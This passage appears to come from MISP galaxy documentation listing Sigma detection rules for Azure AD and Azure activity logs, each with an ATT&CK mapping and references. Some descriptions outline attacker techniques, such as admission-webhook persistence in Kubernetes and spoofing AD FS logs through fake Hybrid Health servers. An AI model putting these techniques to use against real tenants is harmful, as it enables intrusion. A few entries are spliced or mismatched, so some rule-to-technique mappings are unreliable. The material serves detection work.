<td><a href="https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-infrastructure#conditional-access">https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-infrastructure#conditional-access</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_aad_secops_ca_policy_removedby_bad_actor.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_aad_secops_ca_policy_removedby_bad_actor.yml</a></td>
</tr>
</tbody>
</table>
App Granted Privileged Delegated Or App Permissions

Detects when administrator grants either application permissions (app roles) or highly privileged delegated permissions

The tag is: `misp-galaxy:sigma-rules="App Granted Privileged Delegated Or App Permissions"`

View relationships graph

App Granted Privileged Delegated Or App Permissions has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Additional Cloud Roles - T1098.003"` with estimative-language:likelihood-probability="almost-certain"

Table 10653. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-granted-highly-privileged-permissions">https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-granted-highly-privileged-permissions</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_app_privileged_permissions.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_app_privileged_permissions.yml</a></td>
</tr>
</tbody>
</table>

New CA Policy by Non-approved Actor

Monitor and alert on conditional access changes.

The tag is: `misp-galaxy:sigma-rules="New CA Policy by Non-approved Actor"`

View relationships graph

New CA Policy by Non-approved Actor has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548"` with estimative-language:likelihood-probability="almost-certain"

Table 10654. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-infrastructure">https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-infrastructure</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_aad_secops_new_ca_policy_addedby_bad_actor.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_aad_secops_new_ca_policy_addedby_bad_actor.yml</a></td>
</tr>
</tbody>
</table>

CA Policy Updated by Non Approved Actor

Monitor and alert on conditional access changes. Is Initiated by (actor) approved to make changes? Review Modified Properties and compare "old" vs "new" value.

The tag is: `misp-galaxy:sigma-rules="CA Policy Updated by Non Approved Actor"`
CA Policy Updated by Non Approved Actor has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548" with estimative-language:likelihood-probability="almost-certain"

**Table 10655. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-infrastructure#conditional-access">https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-infrastructure#conditional-access</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_aad_secops_ca_policy_updatedby_bad_actor.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_aad_secops_ca_policy_updatedby_bad_actor.yml</a></td>
</tr>
</tbody>
</table>

**Changes To PIM Settings**

Detects when changes are made to PIM roles

The tag is: misp-galaxy:sigma-rules="Changes To PIM Settings"

**Table 10656. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_pim_change_settings.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_pim_change_settings.yml</a></td>
</tr>
</tbody>
</table>

**Users Added to Global or Device Admin Roles**

Monitor and alert for users added to device admin roles.

The tag is: misp-galaxy:sigma-rules="Users Added to Global or Device Admin Roles"

**Table 10657. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_pim_change_settings.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_pim_change_settings.yml</a></td>
</tr>
</tbody>
</table>
### User State Changed From Guest To Member

Detects the change of user type from "Guest" to "Member" for potential elevation of privilege.

The tag is: `misp-galaxy:sigma-rules="User State Changed From Guest To Member"`

View relationships graph

User State Changed From Guest To Member has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004"` with estimative-language:likelihood-probability="almost-certain"

### PIM Alert Setting Changes To Disabled

Detects when PIM alerts are set to disabled.

The tag is: `misp-galaxy:sigma-rules="PIM Alert Setting Changes To Disabled"`

View relationships graph

PIM Alert Setting Changes To Disabled has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078"` with estimative-language:likelihood-probability="almost-certain"
Application URI Configuration Changes

Detects when a configuration change is made to an applications URI. URIs for domain names that no longer exist (dangling URIs), not using HTTPS, wildcards at the end of the domain, URIs that are no unique to that app, or URIs that point to domains you do not control should be investigated.

The tag is: `misp-galaxy:sigma-rules="Application URI Configuration Changes"`

View relationships graph

Application URI Configuration Changes has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004"` with estimative-language:likelihood-probability="almost-certain"

Table 10660. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-configuration-changes">https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-configuration-changes</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_app_uri_modifications.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_app_uri_modifications.yml</a></td>
</tr>
</tbody>
</table>

Application AppID Uri Configuration Changes

Detects when a configuration change is made to an applications AppID URI.

The tag is: `misp-galaxy:sigma-rules="Application AppID Uri Configuration Changes"`

View relationships graph

Application AppID Uri Configuration Changes has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Unsecured Credentials - T1552"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004"` with estimative-language:likelihood-probability="almost-certain"

Table 10661. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#appid-uri-added-modified-or-removed">https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#appid-uri-added-modified-or-removed</a></td>
</tr>
</tbody>
</table>
Guest Users Invited To Tenant By Non Approved Inviters

Detects guest users being invited to tenant by non-approved inviters

The tag is: misp-galaxy:sigma-rules="Guest Users Invited To Tenant By Non Approved Inviters"

View relationships graph

Guest Users Invited To Tenant By Non Approved Inviters has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

Table 10662. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-user-accounts#monitoring-external-user-sign-ins">https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-user-accounts#monitoring-external-user-sign-ins</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_ad_guest_users_invited_to_tenant_by_non_approved_inviters.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_ad_guest_users_invited_to_tenant_by_non_approved_inviters.yml</a></td>
</tr>
</tbody>
</table>

PIM Approvals And Deny Elevation

Detects when a PIM elevation is approved or denied. Outside of normal operations should be investigated.

The tag is: misp-galaxy:sigma-rules="PIM Approvals And Deny Elevation"

View relationships graph

PIM Approvals And Deny Elevation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"

Table 10663. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_pim_activation_approve_deny.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_pim_activation_approve_deny.yml</a></td>
</tr>
</tbody>
</table>
Delegated Permissions Granted For All Users

Detects when highly privileged delegated permissions are granted on behalf of all users

The tag is: misp-galaxy:sigma-rules="Delegated Permissions Granted For All Users"

View relationships graph

Delegated Permissions Granted For All Users has relationships with:


Table 10664. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_app_delegated_permissions_all_users.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_app_delegated_permissions_all_users.yml</a></td>
</tr>
</tbody>
</table>

Changes to Device Registration Policy

Monitor and alert for changes to the device registration policy.

The tag is: misp-galaxy:sigma-rules="Changes to Device Registration Policy"

View relationships graph

Changes to Device Registration Policy has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Domain Policy Modification - T1484" with estimative-language:likelihood-probability="almost-certain"

Table 10665. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_ad_device_registration_policy_changes.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_ad_device_registration_policy_changes.yml</a></td>
</tr>
</tbody>
</table>

Privileged Account Creation

Detects when a new admin is created.

The tag is: misp-galaxy:sigma-rules="Privileged Account Creation"

View relationships graph
Privileged Account Creation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"

Table 10666. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts#changes-to-privileged-accounts">https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts#changes-to-privileged-accounts</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_privileged_account_creation.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_privileged_account_creation.yml</a></td>
</tr>
</tbody>
</table>

**User Removed From Group With CA Policy Modification Access**

Monitor and alert on group membership removal of groups that have CA policy modification access.

The tag is: misp-galaxy:sigma-rules="User Removed From Group With CA Policy Modification Access"

View relationships graph

User Removed From Group With CA Policy Modification Access has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548" with estimative-language:likelihood-probability="almost-certain"

Table 10667. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-infrastructure#conditional-access">https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-infrastructure#conditional-access</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_group_user_removal_ca_modification.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_group_user_removal_ca_modification.yml</a></td>
</tr>
</tbody>
</table>

**End User Consent Blocked**

Detects when end user consent is blocked due to risk-based consent.

The tag is: misp-galaxy:sigma-rules="End User Consent Blocked"

View relationships graph

End User Consent Blocked has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Steal Application Access Token - T1528" with
Azure Service Principal Created

Identifies when a service principal is created in Azure.

The tag is: `misp-galaxy:sigma-rules="Azure Service Principal Created"`

View relationships graph

Azure Key Vault Modified or Deleted has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Unsecured Credentials - T1552" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"
Azure Firewall Rule Collection Modified or Deleted

Identifies when Rule Collections (Application, NAT, and Network) is being modified or deleted.

The tag is: `misp-galaxy:sigma-rules="Azure Firewall Rule Collection Modified or Deleted"`

View relationships graph

Azure Firewall Rule Collection Modified or Deleted has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"

Table 10671. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations">https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_firewall_rule_collection_modified_or_deleted.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_firewall_rule_collection_modified_or_deleted.yml</a></td>
</tr>
</tbody>
</table>

Azure Kubernetes Admission Controller

Identifies when an admission controller is executed in Azure Kubernetes. A Kubernetes Admission controller intercepts, and possibly modifies, requests to the Kubernetes API server. The behavior of this admission controller is determined by an admission webhook (MutatingAdmissionWebhook or ValidatingAdmissionWebhook) that the user deploys in the cluster. An adversary can use such webhooks as the MutatingAdmissionWebhook for obtaining persistence in the cluster. For example, attackers can intercept and modify the pod creation operations in the cluster and add their malicious container to every created pod. An adversary can use the webhook ValidatingAdmissionWebhook, which could be used to obtain access credentials. An adversary could use the webhook to intercept the requests to the API server, record secrets, and other sensitive information.

The tag is: `misp-galaxy:sigma-rules="Azure Kubernetes Admission Controller"`

View relationships graph

Azure Kubernetes Admission Controller has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="Unsecured Credentials - T1552" with estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="Container API - T1552.007" with estimative-language:likelihood-probability="almost-certain"

Table 10672. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Rare Subscription-level Operations In Azure

Identifies IPs from which users grant access to other users on azure resources and alerts when a previously unseen source IP address is used.

The tag is: `misp-galaxy:sigma-rules=“Rare Subscription-level Operations In Azure”`

View relationships graph

Rare Subscription-level Operations In Azure has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003"` with estimative-language:likelihood-probability="almost-certain"

Table 10673. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/Azure/Azure-Sentinel/blob/e534407884b1ec5371efc9f76ead282176c9e8bb/Detections/AzureActivity/RareOperations.yaml">https://github.com/Azure/Azure-Sentinel/blob/e534407884b1ec5371efc9f76ead282176c9e8bb/Detections/AzureActivity/RareOperations.yaml</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_rare_operations.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_rare_operations.yml</a></td>
</tr>
</tbody>
</table>

Azure Application Gateway Modified or Deleted

Identifies when a application gateway is modified or deleted.

The tag is: `misp-galaxy:sigma-rules=“Azure Application Gateway Modified or Deleted”`

Table 10674. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations">https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_application_gateway_modified_or_deleted.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_application_gateway_modified_or_deleted.yml</a></td>
</tr>
</tbody>
</table>

Azure Application Security Group Modified or Deleted

Identifies when a application security group is modified or deleted.

The tag is: `misp-galaxy:sigma-rules=“Azure Application Security Group Modified or Deleted”`
### Azure Kubernetes Pods Deleted

Identifies the deletion of Azure Kubernetes Pods.

The tag is: `misp-galaxy:sigma-rules="Azure Kubernetes Pods Deleted"`

### Azure Device or Configuration Modified or Deleted

Identifies when a device or device configuration in azure is modified or deleted.

The tag is: `misp-galaxy:sigma-rules="Azure Device or Configuration Modified or Deleted"`

View relationships graph

Azure Device or Configuration Modified or Deleted has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Data Destruction - T1485"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Stored Data Manipulation - T1565.001"` with estimative-language:likelihood-probability="almost-certain"
**Azure Application Deleted**

Identifies when a application is deleted in Azure.

The tag is: *misp-galaxy:sigma-rules="Azure Application Deleted"*

View relationships graph

Azure Application Deleted has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"

Table 10678. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-audit-activities#application-proxy">https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-audit-activities#application-proxy</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_application_deleted.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_application_deleted.yml</a></td>
</tr>
</tbody>
</table>

**Azure Subscription Permission Elevation Via ActivityLogs**

Detects when a user has been elevated to manage all Azure Subscriptions. This change should be investigated immediately if it isn't planned. This setting could allow an attacker access to Azure subscriptions in your environment.

The tag is: *misp-galaxy:sigma-rules="Azure Subscription Permission Elevation Via ActivityLogs"*

View relationships graph

Azure Subscription Permission Elevation Via ActivityLogs has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"

Table 10679. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftauthorization">https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftauthorization</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_subscription_permissions_elevation_via_activitylogs.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_subscription_permissions_elevation_via_activitylogs.yml</a></td>
</tr>
</tbody>
</table>
Azure Firewall Rule Configuration Modified or Deleted

Identifies when a Firewall Rule Configuration is Modified or Deleted.

The tag is: `misp-galaxy:sigma-rules="Azure Firewall Rule Configuration Modified or Deleted"`

Table 10680. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations">https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_network_firewall_rule_modified_or_deleted.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_network_firewall_rule_modified_or_deleted.yml</a></td>
</tr>
</tbody>
</table>

Azure Kubernetes Cluster Created or Deleted

Detects when a Azure Kubernetes Cluster is created or deleted.

The tag is: `misp-galaxy:sigma-rules="Azure Kubernetes Cluster Created or Deleted"`

Table 10681. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1">https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes">https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/matrices/enterprise/cloud/">https://attack.mitre.org/matrices/enterprise/cloud/</a></td>
</tr>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/">https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_kubernetes_cluster_created_or_deleted.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_kubernetes_cluster_created_or_deleted.yml</a></td>
</tr>
</tbody>
</table>

Azure Network Security Configuration Modified or Deleted

Identifies when a network security configuration is modified or deleted.

The tag is: `misp-galaxy:sigma-rules="Azure Network Security Configuration Modified or Deleted"`

Table 10682. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations">https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations</a></td>
</tr>
</tbody>
</table>
Number Of Resource Creation Or Deployment Activities

Number of VM creations or deployment activities occur in Azure via the azureactivity log.

The tag is: misp-galaxy:sigma-rules="Number Of Resource Creation Or Deployment Activities"

View relationships graph

Number Of Resource Creation Or Deployment Activities has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"

Table 10683. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/Azure/Azure-Sentinel/blob/e534407884b1ec5371efc9f76ead282176c9e8bb/Detections/AzureActivity/Creating_Anomalous_Number_Of_Resources_detection.yaml">https://github.com/Azure/Azure-Sentinel/blob/e534407884b1ec5371efc9f76ead282176c9e8bb/Detections/AzureActivity/Creating_Anomalous_Number_Of_Resources_detection.yaml</a></td>
</tr>
</tbody>
</table>

Azure Virtual Network Device Modified or Deleted

Identifies when a virtual network device is being modified or deleted. This can be a network interface, network virtual appliance, virtual hub, or virtual router.

The tag is: misp-galaxy:sigma-rules="Azure Virtual Network Device Modified or Deleted"

Table 10684. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations">https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_network_virtual_device_modified_or_deleted.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_network_virtual_device_modified_or_deleted.yml</a></td>
</tr>
</tbody>
</table>

Azure Network Firewall Policy Modified or Deleted

Identifies when a Firewall Policy is Modified or Deleted.

The tag is: misp-galaxy:sigma-rules="Azure Network Firewall Policy Modified or Deleted"

View relationships graph
Azure Network Firewall Policy Modified or Deleted has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Cloud Firewall - T1562.007" with estimative-language:likelihood-probability="almost-certain"

Table 10685. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations">https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_network_firewall_policy_modified_or_deleted.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_network_firewall_policy_modified_or_deleted.yml</a></td>
</tr>
</tbody>
</table>

Azure Service Principal Removed

Identifies when a service principal was removed in Azure.

The tag is: misp-galaxy:sigma-rules="Azure Service Principal Removed"

Table 10686. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-audit-activities#application-proxy">https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-audit-activities#application-proxy</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_service_principal_removed.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_service_principal_removed.yml</a></td>
</tr>
</tbody>
</table>

Azure New CloudShell Created

Identifies when a new cloudshell is created inside of Azure portal.

The tag is: misp-galaxy:sigma-rules="Azure New CloudShell Created"

View relationships graph

Azure New CloudShell Created has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 10687. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations">https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_new_cloudshell_created.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_new_cloudshell_created.yml</a></td>
</tr>
</tbody>
</table>
Azure Application Credential Modified

Identifies when a application credential is modified.

The tag is: misp-galaxy:sigma-rules="Azure Application Credential Modified"

Table 10688. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.cloud-architekt.net/auditing-of-msi-and-service-principals/">https://www.cloud-architekt.net/auditing-of-msi-and-service-principals/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_app_credential_modification.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_app_credential_modification.yml</a></td>
</tr>
</tbody>
</table>

Azure Active Directory Hybrid Health AD FS Service Delete

This detection uses azureactivity logs (Administrative category) to identify the deletion of an Azure AD Hybrid health AD FS service instance in a tenant. A threat actor can create a new AD Health ADFS service and create a fake server to spoof AD FS signing logs. The health AD FS service can then be deleted after it is not longer needed via HTTP requests to Azure.

The tag is: misp-galaxy:sigma-rules="Azure Active Directory Hybrid Health AD FS Service Delete"

View relationships graph

Azure Active Directory Hybrid Health AD FS Service Delete has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Delete Cloud Instance - T1578.003" with estimative-language:likelihood-probability="almost-certain"

Table 10689. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://o365blog.com/post/hybridhealthagent/">https://o365blog.com/post/hybridhealthagent/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_aadhybridhealth_adfs_service_delete.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_aadhybridhealth_adfs_service_delete.yml</a></td>
</tr>
</tbody>
</table>

Azure Suppression Rule Created

Identifies when a suppression rule is created in Azure. Adversary's could attempt this to evade detection.

The tag is: misp-galaxy:sigma-rules="Azure Suppression Rule Created"

Table 10690. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations">https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations</a></td>
</tr>
</tbody>
</table>
Azure Active Directory Hybrid Health AD FS New Server

This detection uses azureactivity logs (Administrative category) to identify the creation or update of a server instance in an Azure AD Hybrid health AD FS service. A threat actor can create a new AD Health ADFS service and create a fake server instance to spoof AD FS signing logs. There is no need to compromise an on-prem AD FS server. This can be done programmatically via HTTP requests to Azure.

The tag is: `misp-galaxy:sigma-rules="Azure Active Directory Hybrid Health AD FS New Server"`

View relationships graph

Azure Active Directory Hybrid Health AD FS New Server has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Cloud Compute Infrastructure - T1578" with estimative-language:likelihood-probability="almost-certain"

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://o365blog.com/post/hybridhealthagent/">https://o365blog.com/post/hybridhealthagent/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_aadhybridhealth_adfs_new_server.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_aadhybridhealth_adfs_new_server.yml</a></td>
<td></td>
